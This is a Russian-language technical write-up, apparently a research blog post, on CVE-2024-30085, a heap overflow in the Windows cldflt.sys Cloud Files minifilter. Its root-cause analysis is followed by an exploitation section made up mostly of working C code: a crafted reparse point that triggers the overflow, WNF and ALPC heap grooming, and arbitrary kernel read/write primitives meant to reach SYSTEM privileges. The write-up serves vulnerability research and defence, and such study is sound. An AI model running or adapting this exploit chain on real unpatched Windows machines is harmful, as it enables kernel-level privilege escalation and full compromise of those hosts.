
CVE-2024-30085 — это уязвимость в подсистеме Windows Cloud Files Mini Filter. Код подсистемы располагается в cldflt.sys — это драйвер минифильтра, и он относится к предустановленному клиенту облачного сервиса Microsoft OneDrive.
Уязвимость фигурировала на прошедшем в Ванкувере Pwn2Own 2024, где команда ресёрчеров Team Theori использовала эксплойт для этой уязвимости в цепочке эксплойтов, осуществляющих Guest-to-Host-Escape (побег из виртуальной машины) из-под управления VMware workstation, за что и получила свои заслуженные 13 очков Master of Pwn.
Соревнования по типу Pwn2Own и Matrix Cup помогают подсветить реально эксплуатируемые уязвимости, эксплойты для которых, как правило, не разглашаются (в результате чего образуется состояние known/unknown, когда известно, что эксплойт есть, но неизвестно, как он работает), и обратить на них особое внимание, ведь за подобными соревнованиями следим не только мы, но и злоумышленники.
В этой статье мы рассмотрим корни уязвимости CVE-2024-30085 и техники эксплуатации, применимые во время эксплуатации кучи в ядре Windows 10 22H2 19045.3803.
Оглавление
Минифильтры
cldflt.sys — это драйвер минифильтра Windows Cloud Files Mini Filter, задача которого представлять хранимые в облаке файлы и папки, как если бы они находились в компьютере.

Если вы никогда не сталкивались с минифильтрами, то вот что они из себя представляют.
Минифильтры на ядерном уровне перехватывают I/O-запросы (IRP-пакеты) к файловой системе и обрабатывают их в соответствии с назначением конкретного фильтра. Вот несколько примеров, какие фильтры могут существовать в системе:
Минифильтры, устанавливаемые антивирусным ПО (сканируют и проверяют файлы).
Минифильтры, устанавливаемые криптографическими средствами (шифруют/дешифруют файлы).
Минифильтры облачных хранилищ.
Узнать, какие минифильтры есть в системе, можно через команду fltmc.

Минифильтров много, и каждый I/O-запрос проходит через все фильтры. За порядок вызова отвечает filter manager.
На рисунке ниже вы можете видеть схематическое изображение пути I/O-запроса. Altitude — это приоритет, который определяет очередность вызова фильтров.

Минифильтры регистрируют свои preoperation- и postoperation-колбэки. И когда приходит I/O-запрос, сначала вызываются preoperation-колбэки в порядке A, B, C, а потом postoperation в порядке C, B, A. Таким образом происходит обработка запроса.
Колбэки регистрируются через массив структур FLT_OPERATION_REGISTRATION Callbacks[]. Вот так это выглядит на примере минифильтра miniSpy:
CONST FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE,
0,
SpyPreOperationCallback,
SpyPostOperationCallback },
…
Если встретите код минифильтра, колбэки нужно искать в этом массиве.

И когда происходит вызов метода NtCreateFile в каком-нибудь приложении, запрос IRP_MJ_CREATE обрабатывается в SpyPreOperationCallback и SpyPostOperationCallback.
Структуры и методы для создания минифильтров можно найти в fltkernel.h. Еще больше примеров драйверов здесь.
Windows Cloud Files Mini Filter
В драйвере этого минифильтра существовала ошибка CWE-122: Heap-based Buffer Overflow (переполнение на куче), возникающая в результате некорректной проверки данных, поступающих из Reparse Point.
Reparse Point — это буфер, который хранит дополнительную информацию о файле. Что это и зачем нужно, проще всего показать на примере.
Некоторые файлы, которые отображаются в системе, могут и не существовать на самом деле или могут располагаться совсем в другом месте. Самый простой пример — символьные ссылки.
Или, например, в Windows 10 появился механизм, который сжимает системные файлы для экономии места, хотя снаружи они выглядят как обычно. Их извлечением занимается минифильтр Windows Overlay Filter (WOF).
В обоих примерах реальное расположение файла или его представление в сжатом виде хранится в Reparse Point.
Вот так выглядит этот буфер для символьной ссылки.

А Windows Cloud Files Mini Filter использует его для представления файлов, хранимых в облаке, в виде заглушки. Самого файла нет, но информация о нем есть в Reparse Point.

Reparse Point можно создать не только для файлов, но и для папок. Что и будет использоваться для вызова переполнения и эксплуатации.
Root Cause Analysis
Переполнение происходило в результате работы колбэка HsmFltPostCREATE, который обрабатывает Reparse Point созданного файла в облачной папке.

В процессе реверса выяснилось, что структуру Reparse Point для Windows Cloud Files Mini Filter можно описать следующим образом:
typedef struct _ITEM {
WORD Code;
WORD Size;
DWORD Offset;
} ITEM;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
typedef struct _REPARSE_CLD_BUFFER {
DWORD Tag_pRef;
DWORD Crc32;
DWORD Size;
WORD Reserved;
WORD NumCldItems;
ITEM Items[0xA];
BYTE ItemData0;
DWORD ItemData1;
UINT64 ItemData2;
UINT64 ItemData3;
REPARSE_CLD_BITMAP bitmap0;
REPARSE_CLD_BITMAP bitmap1;
REPARSE_CLD_BITMAP bitmap2;
UINT64 ItemData7;
UINT64 ItemData8;
DWORD ItemData9;
} REPARSE_CLD_BUFFER, *PREPARSE_CLD_BUFFER;
typedef struct _REPARSE_DATA_BUFFER {
DWORD ReparseTag;
WORD ReparseDataLength;
WORD Reserved;
WORD Flags;
WORD UncompressedSize;
REPARSE_CLD_BUFFER ReparseCldBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;
Как видно, у Reparse Point есть поля ReparseCldBuffer.bitmap{1,2,3}
, которые, в свою очередь, имеют поле ItemBtmpData4
размером 0x1000 байт. Для чего именно нужны эти битмапы, неизвестно, но для целей эксплуатации это и не требуется.
И оказалось, что, манипулируя остальными полями, можно добиться переполнения блока памяти, который выделялся под ItemBtmpData4
у любого из ReparseCldBuffer.bitmap{1,2,3}
. Рассмотрим подробнее.
Аллокация 0x1000 байт и копирование ItemBtmpData4 в эту память происходят в функции HsmIBitmapNORMALOpen
:

Проверка переменной bitmap_size
происходит в функции HsmpBitmapIsReparseBufferSupported
, и она возвращает ошибку, если размер больше чем 0x1000.

Однако в той же функции еще до проверки bitmap_size
проверялось поле bitmap->ItemBtmpData2
. Если оно было нулевым, то функция пропускала последующие проверки и данные оказывались валидными.


Так как битмапов можно сделать до трех, то и переполнений тоже может быть три. Однако для эксплуатации хватит и одного.
Эксплуатация
Подготовка
По умолчанию на свежей системе минифильтр Windows Cloud Files Mini Filter (CldFlt) отключен. Чтобы включить его и настроить на нужную папку, нужно воспользоваться Cloud API, а именно функцией CfRegisterSyncRoot
.
#include <cfapi.h>
BOOL RegisterSyncRoot(LPCWSTR dir) {
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"test";
reg.ProviderVersion = L"1.0";
reg.ProviderId = { 0xB196E670, 0x59C7, 0x4D41, { 0 } };
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
NTSTATUS ntRet = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (!NT_SUCCESS(ntRet)) {
printf("[-] CfRegisterSyncRoot failed\n");
return false;
}
return true;
}
Через этот метод папка dir подключается к минифильтру. Удобно разместить ее в C:\Users\Public.
Чтобы убедиться, что CldFlt
включился, можно воспользоваться командой fltmc instances.

Далее необходимо установить для папки Reparse Point, тогда он попадет в HsmFltPostCREATE
, где будет обработан и вызовет переполнение. Установить можно так:
void trigger(LPCWSTR dir, BYTE* data, DWORD dataLength) {
ULONG returned;
BOOL status;
HANDLE hOverwrite;
hOverwrite = CreateFileW(
dir,
GENERIC_ALL,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
NULL
);
if (FAILED(hOverwrite)) {
printf("[-] trigger failed: CreateFileW\n");
}
status = DeviceIoControl(
hOverwrite,
FSCTL_SET_REPARSE_POINT,
data,
dataLength,
NULL,
0,
&returned,
NULL
);
if (!status) {
printf("[-] trigger failed: DeviceIoControl\n");
}
CloseHandle(hOverwrite);
return;
}
Здесь data
— это содержимое Reparse Point, dataLength
— размер данных.
Теперь приступим к самому интересному: создадим такой Reparse Point, через который повысим привилегии до уровня SYSTEM.
Craft Reparse Point
Выше приводилась структура Reparse Point, но так она должна выглядеть для нормального использования. Добавим в нее поле для данных, которые будут переполнять память. Точнее, править будем тип REPARSE_CLD_BITMAP
, остальная структура останется прежней:
typedef struct _WNF_DATA {
UINT32 header;
UINT32 allocated_size;
UINT32 data_size;
UINT32 change_stamp;
} WNF_DATA, * PWNF_DATA;
typedef struct _REPARSE_CLD_BITMAP {
DWORD Tag;
DWORD Crc32;
DWORD Size;
WORD Flags;
WORD NumBtmpItems;
ITEM Items[0x5];
BYTE ItemBtmpData0;
BYTE ItemBtmpData1;
BYTE ItemBtmpData2;
UINT64 ItemBtmpData3;
BYTE ItemBtmpData4[0x1000];
WNF_DATA wnfData;
} REPARSE_CLD_BITMAP, * PREPARSE_CLD_BITMAP;
То есть здесь добавилось поле wnfData
размером 0x10 байт.
Дело в том, что благодаря переполнению мы получаем возможность залезть в соседний c ItemBtmpData4
блок памяти. И поэтому необходимо разместить там какие-нибудь интересные объекты, переписав свойства которых мы получим примитивы на чтение и запись.
Критерии выбора объектов такие:
Возможность поместить их в блок размером 0x1000, чтобы уложить их рядом с битмапом.
Возможность удалять такие объекты, чтобы создавать в хипе дыры, на которые встанет битмап.
Существование методов для чтения и записи из буферов, которые хранятся внутри этих объектов.
Наш эксплойт использует WNF и ALPC подсистемы.
У них удобное API для размещения в памяти ядра объектов произвольного размера, но у обоих есть разные проблемы с пунктами 2 и 3. Поэтому они идут в связке, чтобы компенсировать недостатки друг друга.
Разберем по отдельности, что такое WNF и ALPC.
WNF (Windows Notification Facility)
WNF — это механизм уведомлений, который реализует схему publisher/subscriber. Одна программа подписывается на какие-нибудь события из другой. Механизм должен был послужить основой для реализации push-уведомлений, аналогичных iOS/Android.
В контексте эксплуатации WNF важен тем, что позволяет создавать объекты произвольного размера в ядре. И через него можно сделать относительные примитивы на чтение/запись, чем мы и воспользуемся.
Больше подробностей на разных ресурсах
Типы есть в этом репозитории, или их можно нагуглить через запрос 0x41C64E6DA3BC0074.
Создание объектов произвольного размера
std::map<UINT32, ULONG64> g_wnfNames;
UINT32 g_wnfNamesIt = 0;
BOOL WnfCreateChunk() {
ULONG64 ns;
WNF_STATE_NAME_LIFETIME NameLifetime = WnfTemporaryStateName;
WNF_DATA_SCOPE DataScope = WnfDataScopeMachine;
SECURITY_DESCRIPTOR* sd = (SECURITY_DESCRIPTOR*)malloc(sizeof(SECURITY_DESCRIPTOR));
memset(sd, 0, sizeof(SECURITY_DESCRIPTOR));
sd->Revision = 0x1;
sd->Sbz1 = 0;
sd->Control = 0x000000800c;
sd->Owner = NULL;
sd->Group = (PSID)0;
sd->Sacl = (PACL)0;
sd->Dacl = (PACL)0;
UINT32 wnfHeaderSize = 0x10;
UINT32 wnfChunkSize = 0x1000;
UINT32 wnfDataSize = wnfChunkSize - wnfHeaderSize;
std::vector<UINT8> buf;
buf.reserve(wnfDataSize);
INT32 r1 = 0, r2 = 0;
r1 = _NtCreateWnfStateName(&ns, WnfTemporaryStateName, WnfDataScopeUser, FALSE, 0, 0x1000, sd);
r2 = _NtUpdateWnfStateData(&ns, buf.data(), wnfDataSize, 0, NULL, 0, 0);
g_wnfNames[g_wnfNamesIt++] = ns;
if (r1 != 0 || r2 != 0) {
printf("[-] wnfCreateChunk failed with codes r1: %lx, r2: %lx\n", r1, r2);
return false;
}
return true;
}
Эта функция создает объект WNF_NAME_INSTANCE
в ядре, ядро выдает идентификатор ns, который сохраняется в глобальном массиве g_wnfNames
.
Сам объект WNF_NAME_INSTANCE
имеет размер всего 0xa8
, но у него есть поле WNF_STATE_DATA
, у которого размер произволен и в нашем конкретном случае равен 0x1000. 0x10 байт составляют служебные поля, остальные 0xff0 — данные.

Относительные примитивы
Самые интересные поля — это AllocatedSize
и DataSize
.
Переполнив их, появляется возможность читать и писать за пределами массива Data. Но есть минус: писать можно только за ним и не больше чем 0x1000 байт.
Так как блоки памяти выделяются по случайным адресам, то, чтобы битмап встал рядом с WNF_STATE_DATA
и переполнил его, понадобится очень много объектов WNF_NAME_INSTANCE
. Какой-то из них будет захвачен с большой долей вероятности. Поэтому в коде присутствует массив g_wnfNames
.
А ограниченные примитивы на чтение и запись выглядят так:
BOOL WnfRelativeRead(INT32 wnfCorrupted, UINT8* buf, ULONG* bufSz) {
WNF_CHANGE_STAMP stamp = 0;
INT32 r = _NtQueryWnfStateData(&(wnfNames[wnfCorrupted]), NULL, NULL, &stamp, buf, bufSz);
return r == 0;
}
BOOL WnfRelativeWrite(INT32 wnfCorrupted, UINT8* buf, ULONG bufSz) {
INT32 r = _NtUpdateWnfStateData(&(wnfNames[wnfCorrupted]), buf, bufSz, 0, NULL, 0, 0);
return r == 0;
}
Здесь wnfCorrupted
— это индекс объекта WNF_NAME_INSTANCE
с переполненным полем WNF_STATE_DATA
.
Чтобы выяснить, какой объект из массива нужный, надо воспользоваться кодом:
INT32 WnfFindCorruptedName(UINT32 wnfNamesCount) {
WNF_CHANGE_STAMP stamp = 0;
ULONG legitBufSize = 0xff0;
ULONG delta = 0x1;
ULONG overflowenBufSize = legitBufSize + delta;
UINT32 status = 0;
std::vector<UINT8> buf;
buf.reserve(overflowenBufSize);
for (UINT32 i = 0; i < wnfNamesCount; i++) {
if (!wnfNames[i]) {
continue;
}
status = _NtQueryWnfStateData(&(wnfNames[i]), NULL, NULL, &stamp, buf.data(), &overflowenBufSize);
overflowenBufSize = legitBufSize + delta;
if (status == BUFFER_TOO_SMALL) {
return i;
}
}
return -1;
}
NtQueryWnfStateData
возвращает данные из массива WNF_STATE_DATA.Data
в буфер buf. Внутри ядра эту работу выполняет функция ExpWnfReadStateData
. Если передать в NtQueryWnfStateData
массив, размер которого меньше, чем WNF_STATE_DATA.Data
, то сработает защита от переполнения.

На этой особенности и строится детект: объект WNF_NAME_INSTANCE
, который не сможет записать данные из WNF_STATE_DATA.Data
в большой буфер, — искомый.
Весь объект WNF_STATE_DATA
занимает 0x1000 байт, 0x10 — это заголовок, размер данных — 0xff0. Значит, данные должны уместиться в любой буфер, размер которого >= 0xff0. Единственная причина, почему места может не хватить, — это объект WNF_STATE_DATA
с DataSize > 0xff0. А такое поле есть только у искомого объекта.
В результате переполнения в WNF_STATE_DATA.DataSize
будет 0xff0 + 0x10, потому что этого будет достаточно, чтобы добраться до ALPC, но об этом позже.
Удаление объектов
Удаляются объекты через функцию _NtDeleteWnfStateData:
BOOL WnfDeleteChunk(UINT32 wnfNameIndex) {
ULONG32 r = _NtDeleteWnfStateData(&(wnfNames[wnfNameIndex]), NULL);
if (r != 0) {
printf("[-] wnfDeleteChunk r: %llx, wnf_name_index: %d\n", r, wnfNameIndex);
return false;
}
wnfNames[wnfNameIndex] = 0x0;
return true;
}
Таким образом, через WNF можно:
Создавать в ядерной памяти объекты
WNF_STATE_DATA
произвольного размера.Читать/писать до 0x1000 байт за пределами массива
WNF_STATE_DATA.Data
.Удобно удалять объекты.
Это все понадобится, чтобы добраться до объектов ALPC и сделать полноценные примитивы на чтение и запись.
ALPC (Asynchronous Local Procedure Call)
ALPC — это механизм межпроцессного взаимодействия, пришедший на смену LPC. Он недокументированный и не предназначен для использования в разработке. Однако он разобран энтузиастами и обладает интересными возможностями, которые помогают эксплуатировать ядерные уязвимости.
Большая часть кода по работе с ALPC взята нами из работы Нассима Асрира CVE-2023-36424. Все необходимые типы лежат там. Там также есть код, через который можно слить адреса ядерной памяти.
Подробный разбор про сам ALPC есть, например, здесь:
https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
В этой статье коснемся только основных особенностей. Снова про создание объектов произвольного размера и примитивы.
Создание объектов произвольного размера
Главные объекты ALPC — это порты, по поведению похожие на сокеты. В ядерном пространстве располагается порт соединения, и он связывает клиентский порт с серверным для их коммуникации.

У серверного порта внутри есть таблица для входящих и исходящих сообщений.

На рисунке — тип ALPC_HANDLE_ENTRY
, таблица хэндлов для сообщений. Она может быть произвольного размера, что поможет создавать блоки размером 0x1000 байт.
Каждый хэндл хранит адрес буфера, в который ядро пишет и из которого читает сообщения для сервера. Обе операции дергаются через метод NtAlpcSendWaitReceivePort
. Подменив какой-либо хэндл на свой, мы получим возможность читать и писать в буфер этого хэндла.
И у ALPC есть огромный плюс — хэндл может быть из userspace, что очень удобно.
Получается, что нужно создать фейковый объект типа _KALPC_RESERVE
и через цепочку переполнений прописать его адрес в таблице _ALPC_HANDLE_ENTRY
по индексу 0, например. Попробуем это сделать.
Серверный порт создается так:
BOOL CreateALPCPort(HANDLE* phPorts, UINT portIndex) {
ALPC_PORT_ATTRIBUTES serverPortAttr;
OBJECT_ATTRIBUTES oaPort;
HANDLE hPort;
NTSTATUS ntRet;
UNICODE_STRING usPortName;
WCHAR wszPortName[64];
swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, portIndex);
RtlInitUnicodeString(&usPortName, wszPortName);
InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
ntRet = NtAlpcCreatePort(&phPorts[portIndex], &oaPort, &serverPortAttr);
if (!NT_SUCCESS(ntRet))
return FALSE;
return TRUE;
}
Эта функция определяет имя порта и вызывает метод NtAlpcCreatePort
, который возвращает идентификатор и сохраняет его в массиве, так как портов будет много. Причина такая же, как и в случае с WNF, — борьба с рандомизацией адресов.
Клиенты теперь могут отправлять сообщения по адресу wszPortName
. На самом деле, для нас это неважно, так как клиентов не будет. Но через CVE-2024-30085 и WNF мы заставим ALPC считать, что по произвольному адресу в ядерной памяти лежит сообщение для сервера, и попросим или выдать информацию оттуда, или записать туда нашу.
Таблица _ALPC_HANDLE_ENTRY
должна быть размером 0x1000 байт, и вот как заставить ядро создать ее:
BOOL AllocateALPCReserveHandle(HANDLE* phPorts, UINT portIndex, UINT reservesCount) {
HANDLE hPort;
HANDLE hResource;
NTSTATUS ntRet;
hPort = phPorts[portIndex];
for (UINT j = 0; j < reservesCount; j++) {
ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
if (!NT_SUCCESS(ntRet)) {
printf("[-] AllocateALPCReserveHandle failed with %lx code\n", ntRet);
return FALSE;
}
if (g_hResource == NULL) { // save only the very first
g_hResource = hResource;
}
}
return TRUE;
}
BOOL AlpcCreateChunk(UINT32 port_index) {
BOOL bRet;
bRet = CreateALPCPort(gports, port_index);
if (!bRet) {
printf("[-] CreateALPCPorts failed\n");
return false;
}
CONST ULONG poolAlHaSize = 0x1000;
CONST ULONG reservesCount = (poolAlHaSize / 2) / sizeof(ULONG_PTR) + 1;
bRet = AllocateALPCReserveHandle(gports, port_index, reservesCount);
if (!bRet) {
printf("[-] AllocateALPCReserveHandle failed\n");
return false;
}
return true;
}
Таблица удваивается каждый раз, когда заканчивается место, поэтому нужно зарезервировать (0x1000 / 2 /sizeof(ULONG_PTR)
) + 1 хэндлов.
Полноценный примитив на запись
Предположим, что мы создали множество портов и контролируем нулевой хэндл нулевого порта в _ALPC_HANDLE_ENTRY
.
Тогда примитив на запись будет выглядеть так:
KALPC_RESERVE* gfakeKalpcReserve;
KALPC_MESSAGE* gfakeKalpcMessage;
BYTE* gfakeKalpcReserveObject;
BYTE* gfakeKalpcMessageObject;
BYTE* AlpcGetFakeMessage() {
return (BYTE*)gfakeKalpcReserve;
}
void AlpcMakeFakeMessage() {
gfakeKalpcReserveObject = (BYTE*)calloc(1, sizeof(KALPC_RESERVE) + 0x20);
gfakeKalpcMessageObject = (BYTE*)calloc(1, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserve = (KALPC_RESERVE*)(gfakeKalpcReserveObject + 0x20);
gfakeKalpcMessage = (KALPC_MESSAGE*)(gfakeKalpcMessageObject + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
galpcMessage = (ALPC_MESSAGE*)calloc(1, sizeof(ALPC_MESSAGE));
}
BOOL AlpcArbitraryWrite(UINT32 portsCount, BYTE* addr, BYTE* buf, UINT32 bufSz) {
NTSTATUS ntRet;
memset(gfakeKalpcReserveObject, 0, sizeof(KALPC_RESERVE) + 0x20);
memset(gfakeKalpcMessageObject, 0, sizeof(KALPC_MESSAGE) + 0x20);
gfakeKalpcReserveObject[1] = 0x7;
gfakeKalpcReserveObject[8] = 0x1;
gfakeKalpcMessageObject[8] = 0x1;
gfakeKalpcReserve->Size = 0x28;
gfakeKalpcReserve->Message = gfakeKalpcMessage;
gfakeKalpcMessage->Reserve = gfakeKalpcReserve;
gfakeKalpcMessage->ExtensionBuffer = addr;
gfakeKalpcMessage->ExtensionBufferSize = bufSz;
ULONG DataLength = bufSz;
memset(galpcMessage, 0, sizeof(ALPC_MESSAGE));
galpcMessage->PortHeader.u1.s1.DataLength = DataLength;
galpcMessage->PortHeader.u1.s1.TotalLength = sizeof(PORT_MESSAGE) + DataLength;
galpcMessage->PortHeader.MessageId = (ULONG)g_hResource;
ULONG_PTR* pAlpcMsgData = (ULONG_PTR*)((BYTE*)galpcMessage + sizeof(PORT_MESSAGE));
memcpy(pAlpcMsgData, buf, bufSz);
for (int i = 0; i < portsCount; i++) {
ntRet = NtAlpcSendWaitReceivePort(gports[i], ALPC_MSGFLG_NONE, (PPORT_MESSAGE)galpcMessage, NULL, NULL, NULL, NULL, NULL);
}
return true;
}
Отправка сообщения идет через метод NtAlpcSendWaitReceivePort
в цикле по всем портам. Дело в том, что мы заранее не будем знать, какой порт захватили, знаем только, что он где-то там. Поэтому производится массированное обращение по всем портам.
Полноценный примитив на чтение
Вызов NtAlpcSendWaitReceivePort
на чтение — блокирующий, и непонятно, как сообщить ядру, что данные готовы к отправке. Поэтому этот примитив работает по-другому — через примитив на запись и пайп:
BOOL AlpcArbitraryRead(UINT32 portsCount, ULONG_PTR pipeAttributeAddr, ULONG_PTR addr, BYTE* buf, UINT32 bufSz) {
BOOL bRet;
CHAR pipeName[] = "xxx";
UINT32 pipeValueOffset = 0x20;
ULONG_PTR pipeValueAddr = pipeAttributeAddr + pipeValueOffset;
ULONG_PTR* payload = (ULONG_PTR*)calloc(2, 8);
payload[0] = addr;
payload[1] = 0x00787878; //xxx\x00
if (!AlpcArbitraryWrite(portsCount, (BYTE*)pipeValueAddr, (BYTE*)payload, 0x10)) {
printf("[-] AlpcArbitraryRead failed: AlpcArbitraryWrite\n");
//return false;
}
bRet = PipeReadAttr(pipeName, buf, bufSz);
if (!bRet) {
printf("[-] AlpcArbitraryRead failed: PipeReadAttr\n");
return false;
}
return true;
}
Схема такая:
Создается пайп с атрибутом.
Адрес значения атрибута подменяется на свой адрес.
Читая атрибут, в ответ получаем содержание адреса.
А выяснить, по какому адресу лежит пайп, можно через утечку.
ALPC очень удобный механизм, но у него нет такого же удобного способа удалять объекты, как у WNF, а без этого не подготовить память так, чтобы проэксплуатировать ее. Поэтому используется связка WNF + ALPC. WNF — это посредник, чтобы добраться до ALPC ради его интересных качеств.

LPE
Чтобы разместить битмап, WNF и ALPC рядом и не позволить рандомизации помешать этому, воспользуемся алгоритмом:
Размещаем наборы из двух объектов
WNF_STATE_DATA
и одногоALPC_HANDLE_ENTRY
примерно 5000 раз.Удаляем каждый первый
WNF_STATE_DATA
в наборе.Размещаем битмап, который должен будет встать на одно из освободившихся мест.
Таким образом, все объекты с большой долей вероятности будут расположены рядом.

В результате через переполнение в обработке битмапа мы получаем контроль над _WNF_STATE_DATA
, который позволяет переполнить лежащий за ним объект _ALPC_HANDLE_ENTRY
.
В коде это выглядит так:
UINT32 portsCount = 5000;
UINT32 I;
for (i = 0; i < portsCount; i++) {
if (!WnfCreateChunk())
break;
if (!WnfCreateChunk())
break;
if (!AlpcCreateChunk(i))
break;
}
printf("[*] Created %d chunks\n", i);
if (i != portsCount) {
printf("[-] Creating chunks are failed\n");
return -1;
}
// create holes
for (UINT32 i = 4000; i < portsCount; i += 2) {
if (!WnfDeleteChunk(i)) {
return -1;
}
}
Правильно заполненный Reparse Point выглядит так:
void createReparsePoint(PREPARSE_DATA_BUFFER pReparseDataBuffer, size_t ReparseDataBufferLength) {
pReparseDataBuffer->ReparseTag = 0x9000301a;
pReparseDataBuffer->ReparseDataLength = ReparseDataBufferLength - sizeof(DWORD) - 2 * sizeof(WORD);
pReparseDataBuffer->Reserved = 0x00;
pReparseDataBuffer->Flags = 0x1;
pReparseDataBuffer->UncompressedSize = 0xAA; // no matter
PREPARSE_CLD_BUFFER pReparseCldBuffer = &pReparseDataBuffer->ReparseCldBuffer;
pReparseCldBuffer->Tag_pRef = 0x70526546;
pReparseCldBuffer->Size = pReparseDataBuffer->ReparseDataLength - 2 * sizeof(WORD);
pReparseCldBuffer->Reserved = 0x2;
pReparseCldBuffer->NumCldItems = 0xa;
pReparseCldBuffer->Items[0].Code = 0x7;
pReparseCldBuffer->Items[0].Size = 0x1;
pReparseCldBuffer->Items[0].Offset = (BYTE*)&pReparseCldBuffer->ItemData0 - (BYTE*)&pReparseCldBuffer->Tag_pRef;
pReparseCldBuffer->Items[1].Code = 0xa;
pReparseCldBuffer->Items[1].Size = 0x4;
pReparseCldBuffer->Items[1].Offset = pReparseCldBuffer->Items[0].Offset + pReparseCldBuffer->Items[0].Size;
pReparseCldBuffer->Items[2].Code = 0x6;
pReparseCldBuffer->Items[2].Size = 0x8;
pReparseCldBuffer->Items[2].Offset = pReparseCldBuffer->Items[1].Offset + pReparseCldBuffer->Items[1].Size;
pReparseCldBuffer->Items[3].Code = 0x11;
pReparseCldBuffer->Items[3].Size = 0x8;
pReparseCldBuffer->Items[3].Offset = pReparseCldBuffer->Items[2].Offset + pReparseCldBuffer->Items[2].Size;
pReparseCldBuffer->Items[4].Code = 0x11;
pReparseCldBuffer->Items[4].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[4].Offset = pReparseCldBuffer->Items[3].Offset + pReparseCldBuffer->Items[3].Size;
pReparseCldBuffer->Items[5].Code = 0x11-1;
pReparseCldBuffer->Items[5].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[5].Offset = pReparseCldBuffer->Items[4].Offset + pReparseCldBuffer->Items[4].Size;
pReparseCldBuffer->Items[6].Code = 0x11-1;
pReparseCldBuffer->Items[6].Size = sizeof(REPARSE_CLD_BITMAP);
pReparseCldBuffer->Items[6].Offset = pReparseCldBuffer->Items[5].Offset + pReparseCldBuffer->Items[5].Size;
pReparseCldBuffer->Items[7].Code = 0x6;
pReparseCldBuffer->Items[7].Size = 0x8;
pReparseCldBuffer->Items[7].Offset = pReparseCldBuffer->Items[6].Offset + pReparseCldBuffer->Items[6].Size;
pReparseCldBuffer->Items[8].Code = 0x6;
pReparseCldBuffer->Items[8].Size = 0x8;
pReparseCldBuffer->Items[8].Offset = pReparseCldBuffer->Items[7].Offset + pReparseCldBuffer->Items[7].Size;
pReparseCldBuffer->Items[9].Code = 0xa;
pReparseCldBuffer->Items[9].Size = 0x4;
pReparseCldBuffer->Items[9].Offset = pReparseCldBuffer->Items[8].Offset + pReparseCldBuffer->Items[8].Size;
pReparseCldBuffer->ItemData0 = 0x0; // <=1
pReparseCldBuffer->ItemData1 = 0xffffffe5;
pReparseCldBuffer->ItemData2 = 0xeeeeeeeeeeeeeee1; // no matter
pReparseCldBuffer->ItemData3 = 0xbbbbbbbbbbbbbbbb; // no matter
pReparseCldBuffer->ItemData7 = 0xffffffffffffffff; // no matter
pReparseCldBuffer->ItemData8 = 0xdddddddddddddddd; // no matter
pReparseCldBuffer->ItemData9 = 0x33333333; // no matter
}
void createBitmap(PREPARSE_CLD_BITMAP bitmap) {
bitmap->Tag = 0x70527442;
bitmap->Size = sizeof(REPARSE_CLD_BITMAP);
bitmap->Flags = 0x2;
bitmap->NumBtmpItems = 0x5;
bitmap->Items[0].Code = 0x7;
bitmap->Items[0].Size = 0x1;
bitmap->Items[0].Offset = (BYTE*)&bitmap->ItemBtmpData0 - (BYTE*)&bitmap->Tag;
bitmap->Items[1].Code = 0x7;
bitmap->Items[1].Size = 0x1;
bitmap->Items[1].Offset = bitmap->Items[0].Offset + bitmap->Items[0].Size;
bitmap->Items[2].Code = 0x7;
bitmap->Items[2].Size = 0x1;
bitmap->Items[2].Offset = bitmap->Items[1].Offset + bitmap->Items[1].Size;
bitmap->Items[3].Code = 0x6;
bitmap->Items[3].Size = 0x8;
bitmap->Items[3].Offset = bitmap->Items[2].Offset + bitmap->Items[2].Size;
bitmap->Items[4].Code = 0x11;
bitmap->Items[4].Offset = bitmap->Items[3].Offset + bitmap->Items[3].Size;
bitmap->Items[4].Size = sizeof(REPARSE_CLD_BITMAP) - bitmap->Items[4].Offset;
bitmap->ItemBtmpData0 = 0x1; // <= 1
bitmap->ItemBtmpData1 = 0x13; // <= 0x13
bitmap->ItemBtmpData2 = 0x0; // = 0
bitmap->ItemBtmpData3 = 0xdddddddddddddddd; // no matter
bitmap->wnfData.header = 0x00100904;
bitmap->wnfData.allocated_size = 0x2000;
bitmap->wnfData.data_size = 0xff0 + 0x10; // 0xff0 - legit Wnf data size 0x10 - overflow
bitmap->wnfData.change_stamp = 0x1;
bitmap->Crc32 = RtlComputeCrc32(0, (BYTE*)(&bitmap->Size), sizeof(REPARSE_CLD_BITMAP) - 0x8);
}
